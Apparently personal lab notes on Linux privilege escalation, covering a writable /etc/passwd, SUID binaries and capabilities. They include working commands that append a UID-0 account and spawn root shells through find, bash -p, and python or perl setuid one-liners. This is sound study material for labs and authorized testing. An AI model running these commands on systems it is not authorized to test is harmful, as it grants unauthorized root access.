2026-06-16
Linux PrivEsc — Writable /etc/passwd, SetUID Binaries & Capabilities
Theme of the day: Linux local privilege escalation via file/permission misconfigurations — a writable /etc/passwd, then SUID binaries and Linux capabilities, both driven off GTFOBins.
> Methodology notes only — generic examples and placeholder names throughout. No specific target, account, or solution details.
Writable /etc/passwd — why it works
/etc/passwd has 7 colon-separated fields:
username:password:UID:GID:comment:home:shell
On a modern system the password field is x ("the real hash lives in /etc/shadow"). But the system still honours a hash placed directly in that second field — a backwards-compatibility behaviour from before shadow files existed. So if you can write to /etc/passwd, you can either overwrite an existing privileged account's x with a known hash, or append a new UID-0 account. Appending is usually preferred — it's additive and doesn't disturb root's existing auth.
Confirm you can write to it first (this is the whole precondition):
ls -l /etc/passwd # need write for your user/group
lsattr /etc/passwd # an 'i' (immutable) flag blocks writes even as root
Generate a hash:
openssl passwd -1 -salt abc password # MD5 crypt ($1$) — widely accepted
openssl passwd -6 password # SHA-512 ($6$) — modern
mkpasswd -m sha-512 password # if openssl -6 unavailable
Append a new UID-0 user (preferred):
echo 'hacker:$1$abc$...hash...:0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker # enter the password you hashed
id # uid=0(root)
Fields: user / hash / UID 0 / GID 0 / comment / /root / /bin/bash.
Gotchas: single-quote the echo so $ isn't shell-expanded; back up the file first (cp /etc/passwd /tmp/passwd.bak) — one malformed line breaks logins for everyone; use su, not ssh (PAM/SSH config may refuse password auth); match the crypt format the system supports ($1$ is the safest bet on older boxes).
A UID-0 user is trivially spotted (awk -F: '$3==0' /etc/passwd) — great for labs, but on a real engagement document it and remove the line when finished.
GTFOBins — the lookup index for SUID & capabilities
GTFOBins is a curated list of standard Unix binaries that can be abused to escalate privileges or break out of restricted shells. The whole workflow is: enumerate which binaries are privileged → look each one up on GTFOBins → run the matching escape. The function tags that matter most: SUID, Capabilities, and Sudo (check sudo -l).
SUID binaries
The SUID bit (chmod u+s) makes a binary run with the privileges of its owner, not the caller. A SUID-root binary that can spawn a shell or read/write arbitrary files = root.
find / -perm -4000 -type f 2>/dev/null # SUID
find / -perm -2000 -type f 2>/dev/null # SGID
ls -l confirms it — look for the s in the owner's execute slot: -rwsr-xr-x. Take each non-standard binary, search it on GTFOBins under SUID, and run the escape:
find . -exec /bin/sh -p \; -quit # SUID find
bash -p # SUID bash — the -p keeps privileges
Gotcha: many shells drop elevated privileges on startup unless you pass -p (privileged mode). If a SUID shell escape "doesn't give root," that's usually why.
Linux capabilities
Capabilities slice root's power into granular units, so a binary can hold just one privilege without the full SUID bit. The dangerous one for privesc is cap_setuid (set UID to 0).
getcap -r / 2>/dev/null
# GOTCHA: getcap lives in /usr/sbin (or /sbin), often NOT in a non-root user's
# $PATH — a bare `getcap` returns nothing. Always try the full path:
/usr/sbin/getcap -r / 2>/dev/null
/sbin/getcap -r / 2>/dev/null
Output looks like /usr/bin/python3.8 = cap_setuid+ep. The +ep (effective + permitted) means it's actually usable. Look the binary up on GTFOBins under Capabilities:
# python3 with cap_setuid+ep
./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# perl with cap_setuid+ep
./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
Cross-cutting themes
/etc/passwdhonours an inline hash — a pre-shadow behaviour that turns a writable passwd file into instant root.- GTFOBins is the spine of SUID/capability/sudo privesc — enumerate privileged binaries, then look each up.
- Empty output is not proof of absence — full-path
sbintools (getcap) before concluding "no capabilities set." -pmatters — shells drop privileges on startup without it.